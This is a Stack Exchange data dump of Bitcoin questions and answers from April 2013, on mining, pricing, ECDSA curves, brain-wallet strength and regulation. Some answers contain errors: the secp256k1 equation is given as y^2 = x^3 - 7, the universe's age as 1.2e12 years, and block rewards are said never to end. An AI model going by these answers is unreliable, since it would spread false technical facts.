  <row Id="9457" PostTypeId="2" ParentId="9452" CreationDate="2013-04-10T03:48:14.307" Score="7" Body="&lt;p&gt;You seem to be asking if you can mine block X+1 while the network is still working on block X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The answer is no&lt;/strong&gt;, you can't mine block X+1 until block X has been solved, as each block requires a hash of the previous block to be valid.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-10T03:48:14.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9458" PostTypeId="1" AcceptedAnswerId="9466" CreationDate="2013-04-10T03:49:47.717" Score="4" ViewCount="29599" Body="&lt;p&gt;I've been talking with my friend about this, and apparently, it seems that Bitcoins have some sort of value that is given to them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some websites like bitstamp, there are graphs and charts that indicate what the value is of a bitcoin in USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what/who determines a bitcoin's value, and what factors are involved when determining the pricing?  Some things I've heard are that Bitcoins are completely seperate from other currencies and do not rely on them for value, but there must be some way it's priced.&lt;/p&gt;&#xA;" OwnerUserId="4153" LastEditorUserId="4153" LastEditDate="2013-04-10T19:40:48.100" LastActivityDate="2013-04-10T19:40:48.100" Title="What determines a bitcoin's value?" Tags="|exchange-rate|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-17T04:27:59.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="9459" PostTypeId="1" CreationDate="2013-04-10T03:50:56.530" Score="0" ViewCount="291" Body="&lt;p&gt;The value of bitcoins has been fluctuating like crazy over the last week, experiencing exponential growth in the BTC to USD valuation. There is no way that that can be maintained longterm. What would make it crash?&lt;/p&gt;&#xA;" OwnerUserId="4151" LastEditorUserId="4151" LastEditDate="2013-04-10T04:14:30.197" LastActivityDate="2013-04-10T05:46:42.453" Title="How would bitcoins &quot;crash&quot;?" Tags="|economic-theory|money|" AnswerCount="3" CommentCount="0" ClosedDate="2013-04-10T06:20:25.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostTypeId="2" ParentId="9374" CreationDate="2013-04-10T04:08:28.443" Score="6" Body="&lt;p&gt;The miner looks into the transactions insofar as they have been digitally signed. This is a public key / private key cryptography pairing that performs the role of your signature on a check. Without this digital signature, a transaction is not considered valid and will not be included in the block calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner's job is then to amass transactions that have happened since the last block was calculated and generate a new block. There are several elements that tie the old block and the new block together, ensuring that the new block's transactions stand on the shoulders of the previous transactions, guaranteeing the integrity of the entire block chain.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2013-04-10T05:22:24.717" LastActivityDate="2013-04-10T05:22:24.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9462" PostTypeId="2" ParentId="9107" CreationDate="2013-04-10T04:12:43.417" Score="5" Body="&lt;p&gt;The core problem with hoarding is risking work on an orphan chain. If you horde a block and start working on its successor you risk the network finding another legitimate block and forking the master block chain. If that is the case (unless you have significant processing power behind you) you will be working on a branch that will be orphaned in favor of a longer block chain, granting you nothing for your mining efforts.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2013-04-10T04:12:43.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9463" PostTypeId="1" CreationDate="2013-04-10T04:15:53.413" Score="6" ViewCount="314" Body="&lt;p&gt;Bitcoin used Elliptic Curve Digital Signature Algorithm. (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;here&lt;/a&gt;). I'm wondering what standard is actually used for this Algorithm: which curve? which prime? Can anybody give me a reference? (Wiki gives &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf&quot;&gt;this&lt;/a&gt;, is this the standard that the ECDSA in Bitcoin?) Anywhere I can find an update on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: A bunch of curves are given in page 87 of &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf&quot;&gt;this&lt;/a&gt;. Is bitcoin using one of these?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="3775" LastEditDate="2013-04-10T04:25:34.787" LastActivityDate="2013-04-10T06:20:27.637" Title="What standard is used for the ECDSA to verify transactions?" Tags="|transactions|cryptography|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9464" PostTypeId="2" ParentId="9398" CreationDate="2013-04-10T04:21:16.580" Score="3" Body="&lt;p&gt;Yes - FinCen released details about this within the past month stating that Bitcoin &quot;exchanger&quot; must comply with regulations. Note that this may apply not just to exchange &quot;houses&quot;, but also to individuals who exchange Bitcoin for USD. From the FinCen summary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A user of virtual currency is not an MSB (money services business) under FinCEN's regulations and therefore is not subject to MSB registration, reporting, and recordkeeping regulations. However, an administrator or exchanger is an MSB under FinCEN's regulations, specifically, a money transmitter, unless a limitation to or exemption from the definition applies to the person. An administrator or exchanger is not a provider or seller of prepaid access, or a dealer in foreign exchange, under FinCEN's regulations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;FinCen statement&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/tech-policy/2013/03/us-regulator-bitcoin-exchanges-must-comply-with-money-laundering-laws/&quot; rel=&quot;nofollow&quot;&gt;ArsTechnica article&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2013-04-10T04:21:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9465" PostTypeId="1" AcceptedAnswerId="12140" CreationDate="2013-04-10T04:35:52.867" Score="9" ViewCount="37432" Body="&lt;p&gt;What is the cheapest way to deposit money into a Bitstamp account? They offer a number of ways, but what is the easiest for someone in the US?&lt;/p&gt;&#xA;" OwnerUserId="4151" LastEditorUserId="6242" LastEditDate="2013-09-04T22:47:01.923" LastActivityDate="2014-06-22T20:06:43.643" Title="What is the cheapest way to deposit money into a Bitstamp account from the US?" Tags="|money|bitstamp|usa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9466" PostTypeId="2" ParentId="9458" CreationDate="2013-04-10T04:35:58.333" Score="5" Body="&lt;p&gt;&lt;em&gt;Fiat money&lt;/em&gt; is money that has no entity backing it other than the issuer, usually a government. When the United States dollar finally disconnected from the gold standard in 1971 it became a fiat currency. Basically the USA declared, &quot;The dollar has value because we are 'Murica&quot; and the world said, &quot;OK&quot;. In actuality, the US dollar has no intrinsic value other than the fact it is issued by the United States. Most modern currencies are fiat money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin follows the same principle, in that its value is determined by perception. Instead of the trust of some government entity being evaluated to determine the value of Bitcoin, other factors (the technology, widespread acceptance, understanding of e-money, etc.) are taken into consideration. When &lt;a href=&quot;http://www.businessweek.com/search?page=1&amp;amp;q=bitcoin&amp;amp;resultsPerPage=20&quot;&gt;magazines&lt;/a&gt; and &lt;a href=&quot;http://spectrum.ieee.org/computing/networks/theres-no-stopping-the-rise-of-emoney/0&quot;&gt;online entities write intriguing articles&lt;/a&gt; about Bitcoin, people take interest in it, the demand goes up and so does its value v. government-back currencies. Likewise when &lt;a href=&quot;https://mtgox.com/press_release_20130404.html&quot;&gt;Mt. Gox is DDoSed&lt;/a&gt;, &lt;a href=&quot;https://instawallet.org/&quot;&gt;a bitcoin service shutters&lt;/a&gt;, or &lt;a href=&quot;http://thenextweb.com/insider/2012/09/05/top-us-bitcoin-exchange-hacked-250000-btc-stolen/&quot;&gt;$250,000 worth of BTC is stolen&lt;/a&gt;, people get nervous, demand drops, and so does BTC's value.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2013-04-10T05:22:57.440" LastActivityDate="2013-04-10T05:22:57.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9467" PostTypeId="1" CreationDate="2013-04-10T04:40:56.920" Score="-1" ViewCount="115" Body="&lt;p&gt;When block mining no longer rewards BTC, miners will have to lean on transaction fees to justify mining for profit. When this happens will the bitcoin protocol continue to vary the difficulty of mining such that a block is expected to be found every 10 minutes, or will difficulty drop to favor rapid block creation and rewarding of relatively smaller transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="5406" LastEditDate="2016-04-28T14:22:42.047" LastActivityDate="2016-04-28T14:22:42.047" Title="How easy will it be to process a block once block rewards end?" Tags="|mining-theory|mining-reward|" AnswerCount="1" CommentCount="2" ClosedDate="2013-04-26T03:01:58.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="9468" PostTypeId="2" ParentId="9467" CreationDate="2013-04-10T04:45:09.730" Score="3" Body="&lt;p&gt;Block rewards will never end. That what transaction fees are for. Difficulty adjusts to the amount of resources that are processing transactions so that they average 1 every 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="4158" LastActivityDate="2013-04-10T04:45:09.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9469" PostTypeId="2" ParentId="9459" CreationDate="2013-04-10T04:53:23.043" Score="1" Body="&lt;p&gt;If there are no more buyers at price X, then a seller has to lower his price by Y. If there are still no buyers, she will have to lower it more. If there a lot more sellers than there are buyers the price can drop very quickly, just as right now there are a lot more buyers than there are sellers and the price is rising very quickly.&lt;/p&gt;&#xA;" OwnerUserId="4158" LastActivityDate="2013-04-10T04:53:23.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9470" PostTypeId="1" AcceptedAnswerId="9472" CreationDate="2013-04-10T05:06:44.177" Score="4" ViewCount="2419" Body="&lt;p&gt;Assuming my private key for a bitcoin wallet is derived from SHA256(passphrase) and the passphrase is 8 words long, how long would it take the average attacker to crack my bitcoin wallet through a bruteforce dictionary attack? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume there are no other characters besides letters. &lt;/p&gt;&#xA;" OwnerUserId="4159" LastActivityDate="2019-02-17T23:42:30.403" Title="How long would it take to crack an 8-word brain wallet?" Tags="|private-key|passphrase|sha256|brain-wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostTypeId="2" ParentId="9470" CreationDate="2013-04-10T05:15:59.310" Score="5" Body="&lt;p&gt;A very, very long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oxford English Dictionary contains full entries for 171,476 words in current use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use only lower case letters and they are mostly random words (no phrases - &quot;four score and seven years ago&quot; is like having your password be &quot;secret&quot;), there are about 7.47e41 possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 50 million attempts per second, it'll be about 4.74e26 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current estimate for the age of the universe is 1.2e12 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you reduce it to just the most commonly used 1000 words, at 50m gueses a second, it's reduced to 634,195,839 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty secure for a password.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastEditorUserId="4143" LastEditDate="2013-04-10T06:02:19.643" LastActivityDate="2013-04-10T06:02:19.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9473" PostTypeId="2" ParentId="9103" CreationDate="2013-04-10T05:18:16.860" Score="2" Body="&lt;p&gt;Freicoin also accomplishes this but in a round about way. Rather than adding new coins to the system to pay miners, it removes coins from each account to pay miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freico.in/how/&quot; rel=&quot;nofollow&quot;&gt;http://freico.in/how/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2013-04-10T05:18:16.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9474" PostTypeId="2" ParentId="9459" CreationDate="2013-04-10T05:24:52.750" Score="1" Body="&lt;p&gt;A crash is a bit like an avalanche.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an avalanche, snow falls and hits other snow; then that snow starts falling too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People who invest under the &lt;a href=&quot;http://en.wikipedia.org/wiki/Greater_fool_theory&quot; rel=&quot;nofollow&quot;&gt;greater fool theory&lt;/a&gt; will sell as soon as the price goes down. Obviously, when they sell, the price goes down more. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-10T05:24:52.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9475" PostTypeId="2" ParentId="9463" CreationDate="2013-04-10T05:25:51.810" Score="4" Body="&lt;p&gt;I just found the answer from &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Signatures&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Signatures&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For ECDSA the secp256k1 curve from &lt;a href=&quot;http://www.secg.org/collateral/sec2_final.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.secg.org/collateral/sec2_final.pdf&lt;/a&gt; is used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i.e. the curve is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;y^2 = x^3 - 7 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and the prime &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;p = 2^256 - 2^32 - 2^9 - 2^8 - 2^7 - 2^6 - 2^4 - 1. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="3775" LastEditDate="2013-04-10T06:20:27.637" LastActivityDate="2013-04-10T06:20:27.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostTypeId="1" CreationDate="2013-04-10T05:44:58.350" Score="-5" ViewCount="470" Body="&lt;p&gt;I have a network of 1k+ PC's (not a botnet). Could you advice me how can I mine effectively for one pool, for only one pool account, maybe you have any solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it should be CPU miner because I can't bypass GPU drivers on each pc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All PC's in network have our application always running, so I think better way is to add to our application mining code, but I cant find any simply solution without useless features.&lt;/p&gt;&#xA;" OwnerUserId="4162" LastEditorUserId="5406" LastEditDate="2016-04-24T08:55:57.787" LastActivityDate="2016-04-24T08:55:57.787" Title="How to mine with 1k PC's?" Tags="|mining-pools|network|mining-profitability|cpu-mining|" AnswerCount="1" CommentCount="1" ClosedDate="2015-11-07T18:20:23.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="9477" PostTypeId="2" ParentId="9459" CreationDate="2013-04-10T05:46:42.453" Score="1" Body="&lt;p&gt;There many possibilities, all of which would lower the demand for BTC and, by extension, its value when compared to worldwide currencies. Off the top of my head I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A large swath of BTC being converted to government-backed monies (e.g., USD). This could be as simple as people &quot;cashing in&quot; on prior investments or as compounded as a run on BTC.&lt;/li&gt;&#xA;&lt;li&gt;Negative press/hype generates speculative fears&lt;/li&gt;&#xA;&lt;li&gt;Technological breakdowns (e.g., an exchange is hacked)&lt;/li&gt;&#xA;&lt;li&gt;Mining stops (even if the current state of the protocol does not change, this is not likely for many years.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2013-04-10T05:46:42.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9478" PostTypeId="2" ParentId="9449" CreationDate="2013-04-10T06:44:41.120" Score="5" Body="&lt;p&gt;Once you have the address you'd like the coins to be in, just make one transaction for the total amount of your balance going to that address.  The inputs from all transactions leading into the sending wallet will be combined into a single output automatically.  Or are you asking how to create the brain wallet in the first place?&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-04-10T06:44:41.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9480" PostTypeId="2" ParentId="9476" CreationDate="2013-04-10T07:56:28.497" Score="2" Body="&lt;p&gt;You will be using way more power(electricity) than you can ever gain in any virtual currency at the moment. To you the power might be free, but the owner(s) of the PC will pay dearly.&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-04-10T07:56:28.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9482" PostTypeId="2" ParentId="9417" CreationDate="2013-04-10T09:02:08.743" Score="4" Body="&lt;p&gt;Remember, the bitcoin protocol and the code for most clients is open source. You can check it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was a &quot;master key&quot;, then we would know. It's very hard to hide such things in code when it will be reviewed by tons of others. (Yes, hiding malicious code can be &lt;a href=&quot;http://underhanded.xcott.com/&quot; rel=&quot;nofollow&quot;&gt;done&lt;/a&gt;, but not at this level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that Satoshi and a few others have access to &lt;a href=&quot;https://en.bitcoin.it/wiki/Alerts&quot; rel=&quot;nofollow&quot;&gt;update&lt;/a&gt; your client. What would happen if they pushed a malicious update? Simple: the community would notice. They would spread the news, and a new blockchain would be branched from the last block created before the malicious update.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-04-10T09:02:08.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9483" PostTypeId="2" ParentId="9458" CreationDate="2013-04-10T09:23:31.940" Score="1" Body="&lt;p&gt;The raw demand for bitcoins really depends on the velocity of the currency.  With most of the value of bitcoin currently attributed to speculation, velocity is not high enough to cause transactional demand to be all that significant.  Perhaps transactional demand represents only a few percent of the current spot market rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially Bitcoin needs to gain traction as a payments network before a selloff begins, otherwise whenever the top is reached and a rush to the exits by speculators begins, the outcome will be dramatic.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T09:23:31.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostTypeId="2" ParentId="9445" CreationDate="2013-04-10T09:30:03.173" Score="1" Body="&lt;p&gt;Let &lt;a href=&quot;http://preev.com/&quot; rel=&quot;nofollow&quot;&gt;Preev&lt;/a&gt; help do the math for you!&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T09:30:03.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostTypeId="2" ParentId="9442" CreationDate="2013-04-10T09:32:25.683" Score="3" Body="&lt;p&gt;The Bitcoin-Qt/bitcoind client will try to maintain a key pool of unused keys at an even size (default is 100 keys).  So each time you click &quot;New key&quot; it is going to try to add one to the key pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These keys in the key pool need to be encrypted, so your passphrase is required to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The getnewaddress API call will, I believe, give you an address from the pool and if the wallet is locked, will simply deplete keys from the key pool without requiring the passphrase to replenish.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T09:32:25.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9486" PostTypeId="2" ParentId="9438" CreationDate="2013-04-10T09:39:23.263" Score="1" Body="&lt;p&gt;The 1111111111111111111114oLvT2 hasn't been spent yet whereas 1HBheYzvX7NDtcwVrMS7gxReNRVezYS7w2 has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spend, the public key is part of the INPUT's ScriptSig:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Transactions#Explanation&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Transactions#Explanation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So until there is a spend transaction, the public key isn't known to the network, just the Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7683&quot;&gt;Why is it impossible to derive public key from address?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-04-10T09:39:23.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9487" PostTypeId="2" ParentId="9417" CreationDate="2013-04-10T09:56:04.353" Score="3" Body="&lt;p&gt;Similar to how terrible laws get passed during a crisis (e.g., the Federal Reserve's passage on Christmas eve, or after journalists call it a night on Friday), there is the potential risk that developers would release software during a crisis in which proper vetting hasn't occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But most of the major players build the Bitcoin-Qt/bitcoind from source and can evaluate changes themselves.  For instance, Slush pool used an emergency fix shared by a member of the Bitcoin-Qt/bitcoind core development team to cause the v0.8 client to ignore the offending block following the March 11th, 2013 hard fork emergency.  The patch involved a few lines of source code changes that could be shared via any method, including a direct personal message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead that change happened to be quite large, the risk of not recognizing code that is malicious increases.  For this reason, if either the complexity or urgency of an informal fix grows, the resistance to implement it until a formal release arrives should increase.  Formal releases are signed by the Bitcoin Foundation and are distributed through normal channels (and not passed as patches directly from developers to miners.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T09:56:04.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9488" PostTypeId="2" ParentId="9411" CreationDate="2013-04-10T10:05:11.473" Score="1" Body="&lt;p&gt;Each jurisdiction has varying regulations for varying industries.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some jurisdictions, for instance, a financial brokerage has regulations requiring segregation of funds so that the financial insolvency of the brokerage wouldn't impact customer's funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin exchanges might not fall under existing regulation, depending on jurisdiction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is best to consider funds deposited with an exchange as being an open account with the operator.  This means to not assume that a segregation of funds exists and instead that funds deposited are simply a debt that the exchange owes to the account holder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, it is likely financially risky to store funds with an exchange or E-Wallet provider located in a jurisdiction other than your own.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T10:05:11.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9489" PostTypeId="2" ParentId="242" CreationDate="2013-04-10T10:14:46.430" Score="4" Body="&lt;p&gt;The short answer is &quot;yes&quot;, (eg &lt;a href=&quot;http://mpex.co/&quot;&gt;http://mpex.co/&lt;/a&gt;). The long answer is &quot;not really, and for some really fundamental reasons&quot;. Here's the long answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The various schemes that have been implemented or discussed for selling short BTC face the problem of credit risk. The short seller of an asset faces the possibility of arbitrarily large losses (the long side can only lose his investment). Ditto for the seller of an option (put or call). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The financial system deals with this by requiring the short to post initial margin, and top it up with variation margin if he loses money. If he fails to do that, or if the market moves so quickly that he can't, the broker who lent him the stock assumes the risk and tries to close out the position (possibly at a loss to the broker). The mechanism is slightly different with futures and options on futures, but the point is the same: someone takes on the risk of the trader holding a position that can suffer arbitrarily large losses (short seller, short options position, etc) to make sure that the other side of the trade is made whole. If your long put position, for example, fails to provide the payoff profile when the market crashes because the guy who sold you the put went bankrupt.. well, the contract hasn't really fulfilled its function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanism for doing this is financial intermediaries--brokers, exchanges, clearing houses--and &lt;em&gt;legal recourse&lt;/em&gt;. The intermediary has a claim on the short's assets beyond his margin and can sue him. The long has a claim on the intermediary's assets, and if the intermediary fails, well, the taxpayer steps in and makes him whole (e.g., Treasury's bailout of AIG's short CDS positions vis-a-vis the major wall st. investment banks). What gives these contracts liquidity is the belief that the payoff logic will be honored regardless of the credit risk of the counter-parties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But legal recourse is antithetical to the whole bitcoin philosophy, so I would argue that those trying to re-create these inherently leveraged contracts of the financial system in bitcoin land are trying to square the circle. Now you might say, &quot;we can re-create the same without law and intermediaries, the short's counter-party takes the risk&quot;, but that would miss the point. A call option that only pays the long intrinsic value up to the short's margin is no longer a call option but something else; a stock loan market that leaves the guy lending btc to the short-seller with a loss because btc rallied hard and the short walked away from the trade is no longer stock loan but a highly risky trade. Call it what you will, but these contract's cannot really serve the same function in bitcoin land that they serve in the regulated financial system. Perhaps that is a feature, not a bug ;)&lt;/p&gt;&#xA;" OwnerUserId="2032" LastActivityDate="2013-04-10T10:14:46.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9490" PostTypeId="2" ParentId="9374" CreationDate="2013-04-10T10:30:50.747" Score="2" Body="&lt;p&gt;When a mining pool or solo miner releases a block to peers, each peer running Bitcoin-Qt/bitcoind will verify the transactions in the block before relaying the block.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SHA256 block hash is the first thing verified. The SHA256 hash that identifies each block is calculated from the fields of a structure including version, prev_block, merkle_root, timestamp, bits, nonce, and standard SHA256 padding.  If that block hash is invalid or below the minimum difficulty level then the block is rejected and not relayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if there is any transaction that couldn't be verified the block is rejected and not relayed for that reason as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are multiple rules that must be followed for a block to get accepted and then relayed.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T10:30:50.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9491" PostTypeId="1" AcceptedAnswerId="9533" CreationDate="2013-04-10T10:39:39.223" Score="4" ViewCount="110" Body="&lt;p&gt;Which Bitcoin apps (or mobile-enabled websites) support the ability to pay using Near Field Communications (NFC)?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T21:29:40.057" Title="Which mobile clients allow payments using Near Field Communications (NFC)?" Tags="|client|mobile|nfc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9492" PostTypeId="1" AcceptedAnswerId="9494" CreationDate="2013-04-10T10:52:07.553" Score="0" ViewCount="1028" Body="&lt;p&gt;I am planning to get into BTC as I have some PC with xfire (7970's) laying around here and I am currently trying to learn more about it; what I would like to first understand is BTC pricing to make sure the energy I will spend with this PC can be paid off with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/&lt;/a&gt; the last price is at USD$249.99900: is that the current value of 1 BTC? If not, how is that calculated in order to know how 1 BTC is worth?&lt;/p&gt;&#xA;" OwnerUserId="4168" LastEditorUserId="196" LastEditDate="2013-04-10T16:36:41.870" LastActivityDate="2013-04-10T18:02:14.283" Title="Calculating the current price of 1 BTC?" Tags="|currencies|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostTypeId="2" ParentId="8773" CreationDate="2013-04-10T11:02:53.607" Score="0" Body="&lt;p&gt;In the end I was able to do this by XMLgold, &lt;a href=&quot;http://www.xmlgold.eu/&quot; rel=&quot;nofollow&quot;&gt;http://www.xmlgold.eu/&lt;/a&gt;, I had to do the payment as Bitcoin to USD (directly to Paypal) and PayPal then offered to convert that to GBP, it cost me $20 of my reward to PayPal, not totally sure if it was truly a great value but it saved juggling some of the money around.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2013-04-10T11:02:53.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9494" PostTypeId="2" ParentId="9492" CreationDate="2013-04-10T11:10:19.323" Score="5" Body="&lt;p&gt;Market price is market price, which is what people are willing to pay for it.  You can pick any market out there (mtgox, bitstamp, etc).  No different to the price of gold, if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although an average price across multiple exchanges might be useful in a theoretical sense, the reality is that when you come to sell you will sell in a single exchange at a single price.  Added to that the exchange rate of BTCxUSD is fluctuating so rapidly right now that attempting to use it to calculate what you might obtain even a week from now is probably not a sound basis on which to generate a financial calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to work out if mining for coins is worth it, then the general answer is &quot;no&quot;.  A more detailed answer can be found by using &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;noreferrer&quot;&gt;a mining calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until now, it has has always been the case that purchasing bitcoins is a wiser way of spending your money than putting it in to hardware or even power to generate your own.  Unless you're buying an ASIC-based miner I would suggest that this is the best way to approach bitcoins right 